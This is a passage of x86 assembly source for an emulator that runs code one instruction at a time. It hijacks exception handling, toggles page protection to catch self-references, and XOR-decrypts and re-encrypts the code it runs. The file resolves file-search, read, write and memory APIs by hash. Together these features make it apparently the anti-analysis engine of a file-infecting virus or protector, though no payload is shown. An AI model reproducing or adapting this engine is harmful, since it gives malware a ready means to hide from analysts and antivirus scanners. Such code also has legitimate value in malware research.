    add     edi, 5                                      ; Move edi to next instruction (either call will be delta, or local)
    mov     ecx, [edi - 4]                              ; Load call/jump operand into ecx
    xchg    edx, edi
    lea     edi, [edi + ecx + 5]                        ; Adjust edi to point to the next instruction to be executed

;   Recompute pointer to inst size array
;   + compare ecx with 0
vm_recompute_size_array:
;   Check if the call offset is forward or backward
    pushf
    jg      vm_recompute_size_array_forward
    not     ecx                                         ; Invert the offset
    popf
    stc                                                ; C -> jump moving backwards
    cld                                                 ; Move forward in instruction length pointer (backwards through instructions)
    inc     esi                                         ; Count the call instruction too
    inc     ecx
    pushf                                               ; FIXME
    jmp     @vm_recompute_size_array
vm_recompute_size_array_forward:
    std                                                 ; Moving backwards in inst size ptr
@vm_recompute_size_array:
    lodsb                                               ; Load next instruction size
    sub     ecx, eax                                    ; Decrement ecx by size of next instruction
    test    ecx, ecx                                    ; Have we reached the proper instruction?
    jne     @vm_recompute_size_array
    popf
    jnc     vm_recompute_size_array_end
    dec     esi
    clc
vm_recompute_size_array_end:
    jmp     @vm







;==============================================================================;
;:  Return Emulation                                                           ;
;==============================================================================;
vm_ret:
    xchg    edx, edi
    push    esi
    push    edi                                         ; Instruction pointer
    mov     DWORD PTR edx, [ebx + 64]                   ; debuggee stack
    lea     edi, [edx + 37]                             ; Pointer to ret address in debugee stack
    mov     eax, [edi - 3]                              ; Load return address into eax
    lea     esi, [edi - 4]
    std
    mov     ecx, 34
    rep     movsb
    add     edx, 4                                      ; Next alignment
    mov     DWORD PTR [ebx + 64], edx
    pop     edi
    xchg    edi, eax                                    ; eax = last ip; edi = new ip

;   Recompute instruction size pointer (esi)
    pop     esi
    sub     eax, edi
    dec     esi                                         ; Set the instruction length pointer to the ret instruction
    cld
    mov     ecx, eax
    add     esi, 3
    xor     eax, eax
    
@vm_ret_adjust_inst_len_count:
    lodsb
    sub     ecx, eax                                    ; Decrement by size of instruction
    test    ecx, ecx
    jne     @vm_ret_adjust_inst_len_count
    dec     esi                                         ; Adjust
    jmp     @vm  







;==============================================================================;
;:::::::::::::::::::::   General Instruction Emulation    :::::::::::::::::::::;
;==============================================================================;
vm_reg_inst:
;   Lock execution buffer
    ;pusha
    ;invoke  VirtualProtect, vm_parm_code_base, 1000h, PAGE_NOACCESS, ADDR vm_page_protect
    ;popa







;==============================================================================;
;:  Inject Post execution instructions                                         ;
;==============================================================================;
vm_stamp_instructions:
    ;sub     edi, eax
    mov     eax, vm_inst_len
    mov     BYTE PTR [edi + eax], 0e8h                  ; Stamp in opcode 0xe8 (call)
    mov     DWORD PTR [edi + eax + 1], 0                ; Stamp in zeros
    mov     BYTE PTR [edi + eax + 5], VM_BREAK_OPCODE   ; Stamp in interrupt
    ; d11c4
    mov     BYTE PTR [edi + eax + 6], 0e9h
    ; e9 c6110d00
    push    ebx
    mov     ebx, OFFSET vm_handler
    sub     ebx, vm_parm_buf
    mov     DWORD PTR [edi + eax + 7], ebx
    pop     ebx
    ;mov     DWORD PTR [edi + eax + 7], JUMP_OFFSET      ; FIXME
    ;mov     DWORD PTR [edi + eax + 7], ADDR vm_handler







;==============================================================================;
;:  Load debuggee thread context and prepare for execution                     ;
;==============================================================================;       
;   Save local stack context
    pushf
    push_gen_reg
    push    ebp

;   Exchange stack pointers
    and     ebx, 0ffff0000h
    lea     ebx, [ebx + VM_STACK_PTR_OFFSET]
    xchg    [ebx], esp
    
;   Restore debugees stack context
    pop     ebp
    pop_gen_reg
    popf
    






;==============================================================================;
;   Execute Instruction                                                        ;
;==============================================================================;
    ret                                                 ; Execute instruction!





                                    nop






;==============================================================================;
;:::::::::::::::::::    Exception Handler Subroutine    :::::::::::::::::::::::;
;==============================================================================;
vm_handler:
entry_fieldnop db 16 DUP (090h)
;   SEH Subroutine relay
    mov     ebx, [esp + 4]                              ; EXCEPTION_RECORD
    mov     eax, [ebx]                                  ; ExceptionCode
    cmp     eax, STATUS_BREAKPOINT                      ; Is this a regular instruction?
    je      vm_handler_bp

;   Access Violation (AV) Proxy
    jmp     vm_av_proxy

;   Interrupt vector 3 (either general instruction, or post AV execution)
vm_handler_bp:
    mov     ebx, [esp + 0ch]                            ; CONTEXT structure
    assume  ebx:ptr CONTEXT
    mov     ebx, [ebx].regEip                           ; Load IB
    assume  ebx:nothing
    and     ebx, 0ffff0000h                             ; IB page
    mov     DWORD PTR eax, [ebx + VM_AV_INST]           ; Does a value exist here?
                                                        ; If so, it means the last instruction executed
                                                        ; caused a Violation. This means we must lock the 
                                                        ; code buffer and return to normal program flow
    test    eax, eax
    je      vm_handler_bp_no_vm







;==============================================================================;
;:  Access Violation Proxy : Encryption                                        ;
;==============================================================================;
;   This is executed if the previous instruction caused an access violation due
;   to an attempt to self-reference. We must lock the code buffer and encrypt the 
;   instruction in the code buffer.

;   Encrypt instruction
    mov     edi, eax
    mov     eax, [ebx + VM_AV_LEN]
    call    vm_dec

;   Zero out AV data (so that the next instruction is not routed to here
    xor     eax, eax
    mov     [ebx + VM_AV_LEN], eax
    mov     [ebx + VM_AV_INST], eax

;   Lock execution buffer
    pusha
    and     edi, 0ffff0000h
    sub     esp, 4
    push    esp
    push    PAGE_NOACCESS
    push    1000h
    push    edi
    and     ebx, 0ffff0000h
    mov     eax, [ebx + VM_API]
    call    eax
    pop     eax
    popa

;   Increment instruction
    ;mov     ebx, [ebx + VM_STACK_PTR_OFFSET]            ; Address of VMs stack
    ;mov     eax, [ebx + 4]                              ; Load instruction length pointer
    ;xor     ecx, ecx
    ;mov     BYTE PTR cl, [eax + 1]                      ; Load data of last called instruction length to ecx
    ;mov     eax, [ebx + 0ch]                            ; Load instruction pointer
    ;add     eax, ecx                                    ; Move debuggee eip to the next instruction
    ;mov     [ebx + 0ch], eax                            ; Commit

;   Return to normal instruction execution
    call    vm_seh_unwind
    jmp     vm_post_exec_proxy_context






;==============================================================================;
;:  Access Violation Proxy : Decryption                                        ;
;==============================================================================;
;   An access Violation occured. Either this is a real bug, or it is generated 
;   by the a "self-reference" attempt at the encrypted code.
;   We will have to check where the faulting address is. If that address it 
;   inside of the code boundry, then we know it will most *likely* be a
;   fault generated intentionally. Of course, this is never certain, because
;   seg fault can also occur in the VM, or a bug in the emulated code.
vm_av_proxy:
;   Determine faulting address
    mov     ebx, [esp + 4]                              ; EXCEPTION_RECORD
    mov     edx, [ebx + 18h]                            ; Faulting address
;   eax = faulting address

;   Decrypt instructions within 4 bytes
;VM_INST_LEN_PTR                 equ 60
;VM_INST_BASE_PTR                equ 56
    mov     esi, esp
    and     esi, 0ffff0000h
    mov     edi, [esi + VM_INST_BASE_PTR]               ; esi = base of emulated code length counter
    mov     esi, [esi + VM_INST_LEN_PTR]                ; edi = base of emulated code

;   Allow us to write to the buffer, so the decryption can work
    pusha
    and     edi, 0ffff0000h
    sub     esp, 4
    push    esp
    push    PAGE_READWRITE
    push    1000h
    push    edi
    and     ebx, 0ffff0000h
    mov     eax, [ebx + VM_API]
    call    eax
    pop     eax
    popa

;   Determine the n instructions to decrypt that satisfy a 1 byte boundry
;   esi -> inst ptr, edi -> eip, edx -> fault address
    xor     eax, eax
    cld                                                 ; esi -> moving backwards
@vm_dec_fault:
;   Check, is this the faulting address?
    cmp     edi, edx
    jge     vm_dec_fault_found
    lodsb                                               ; al -> size of inst
    add     edi, eax                                    ; Move to next inst
    jmp     @vm_dec_fault

vm_dec_fault_found:
    cmp     edi, edx                                    ; Are we on the instruction byte 0?
    je      vm_dec_fault_decrypt_align
;   We are in middle of an instruction, so find the base and decrypt the 
;   whole instruction, instead of only a part
    sub     edi, eax                                    ; Go to the base 
    dec     esi
;   We have found the instruction to decrypt
vm_dec_fault_decrypt_align:
    lodsb
    call    vm_dec

;   Set variables
;   VM_AV_LEN   -> length of instruction that was decrypted 
;   VM_AV_INST  -> pointer to instruction that was decrypted
    and     ebx, 0ffff0000h
    mov     DWORD PTR [ebx + VM_AV_LEN], eax
    mov     DWORD PTR [ebx + VM_AV_INST], edi

;   Unwind seh
    call    vm_seh_unwind

;   Rebuild debuggee context
    mov     ebx, [esp + 0ch]
    assume  ebx:ptr CONTEXT

;   Restore esp (prior to exception)
    mov     esp, [ebx].regEsp
    and     ebp, 0ffff0000h
    push    ebp                                         ; return -> IB
    push    [ebx].regEbx
    mov     eax, [ebx].regEax
    mov     ecx, [ebx].regEcx
    mov     edx, [ebx].regEdx
    mov     edi, [ebx].regEdi
    mov     esi, [ebx].regEsi
    mov     ebp, [ebx].regEbp
    pop     ebx                                         ; Restores ebx
    ret                                                 ; Execute instruction!

    assume  ebx:nothing








;==============================================================================;
;:  Post Execution Proxy                                                       ;
;==============================================================================;
;   This is executed at a regular instruction (no exception occured prior0
vm_handler_bp_no_vm:
    call    vm_seh_unwind
    jmp     vm_post_exec_proxy_context

vm_seh_unwind:
;   Rewind SEH chain in VM's context frame
    pop     edx
    mov     ebx, esp                                    ; Store stack pointer (SEH information)
    mov     esp, [esp + 8]                              ; Load SEH entry into esp
    pop     DWORD PTR fs:[0]                            ; Unload handler
    add     esp, 4                                      ; Unload handler
    pop     eax
    ;lea     eax, [edx + (OFFSET vm_handler - OFFSET vm_delta)]
    push    eax
    push    eax
    push    DWORD PTR fs:[0]                            ; Push previous handler
    mov     DWORD PTR fs:[0], esp                       ; Establish new SEH chain
    mov     esp, ebx                                    ; Restore stack
    jmp     edx

vm_post_exec_proxy_context:
;   Load CONTEXT structure & adjust stack pointer
    mov     ebx, [esp + 0ch]                            ; Load CONTEXT structure into ebx
    assume  ebx:ptr CONTEXT

;   Restore stack pointer (prior to exception)
    mov     esp, [ebx].regEsp                           ; Old esp
    pop     eax                                         ; Retn from call
    and     eax, 0ffff0000h                             ; Align to Instruction buffer
    push    eax                                         ; Push retn address used to call instruction

;   Push CONTEXT of debuggee
    mov     eax, [ebx].regFlag                          ; Load flags (DWORD)
    push    ax                                          ; flags
    push    [ebx].regEax
    push    [ebx].regEbx
    push    [ebx].regEcx
    push    [ebx].regEdx
    push    [ebx].regEdi
    push    [ebx].regEsi
    push    [ebx].regEbp
    assume  ebx:nothing

;   Save register context of debuggee 
    ;pushf
    ;push_gen_reg
    ;push    ebp  

;   Recompute 'ret' address which contains the address of the instruction buffer 
    ;mov     eax, [esp + 30]
    ;and     eax, 0ffff0000h
    ;mov     [esp + 30], eax

;   Realign debuggee stack pointer and save
    mov     eax, esp                                    ; Prepare
    and     esp, 0ffff0000h                             ; Align to page
    xchg    DWORD PTR [esp + VM_STACK_PTR_OFFSET], eax  ; Store debuggee stack pointer, restore host stack pointer

;   Restore host execution context
    mov     esp, eax
    pop     ebp
    pop_gen_reg
    popf

;   Restore registers and return to main execution loop
;   edi = instruction pointer
;   esi = instruction counter
;   ebx = working buffer
    add     edx, ecx                                    ; Increment instruction pointer by size of last inst
    xchg    edx, edi    
    jmp     @vm





    ;include mlde32.asm
;==============================================================================;
;:  Decryption/Encryption routine                                              ;
;==============================================================================;
vm_dec:
    pusha
    mov     ecx, eax
vm_dec_key:
    mov     ebx, 0ffffffffh                             ; Place holder for key
    push    ebx
    ;and     edi, 0ffff0000h
    mov     esi, edi
@vm_dec:
;   End of key?
    test    ebx, ebx
    jne     _vm_dec_key_cont
    pop     ebx
    push    ebx
_vm_dec_key_cont:
    lodsb                                               ; Load encrypted byte
    xor     al, bl
    stosb                                               ; Store decrypted byte
    shr     ebx, 8                                      ; Shift key
    loop    @vm_dec   
    pop     ebx
    popa    
    ret

;fvirtualalloc          db "VirtualAlloc",0
;fvirtualprotect        db "VirtualProtect",0
;fcreatefile            db "CreateFileA",0
;fgetfilesize           db "GetFileSize",0
;freadfile              db "ReadFile",0
;fclosehandle           db "CloseHandle",0
;fwritefile             db "WriteFile",0
;fgetcurrentdirectory   db "GetCurrentDirectoryA",0
;ffindfirstfile         db "FindFirstFileA",0
;ffindnextfile          db "FindNextFileA",0

;:==============================================================================;
;:  API function name string hashes                                             ;
;:==============================================================================;
vm_hash:
hclosehandle            dd 036CDD3CEh
hcreatefile             dd 0373445E5h
hgetfilesize            dd 0383C135Bh
hreadfile               dd 0007F9820h
hvirtualalloc           dd 0480AB82Ah
hvirtualprotect         dd 0090FE538h
hwritefile              dd 002AE2BBBh
hgetcurrentdirectory    dd 07472F2F5h
hfindfirstfile          dd 062BA6922h
hfindnextfile           dd 07A514DB9h

hnull                   dd 000000000h

    nop
;:==============================================================================;
;:  End of the code                                                             ;
;:==============================================================================;
vm_end:
      

;stackseg    SEGMENT public 'DATA'
;stackbuf    WORD 4000 dup(?)
;stackseg    ENDS

; EOF

    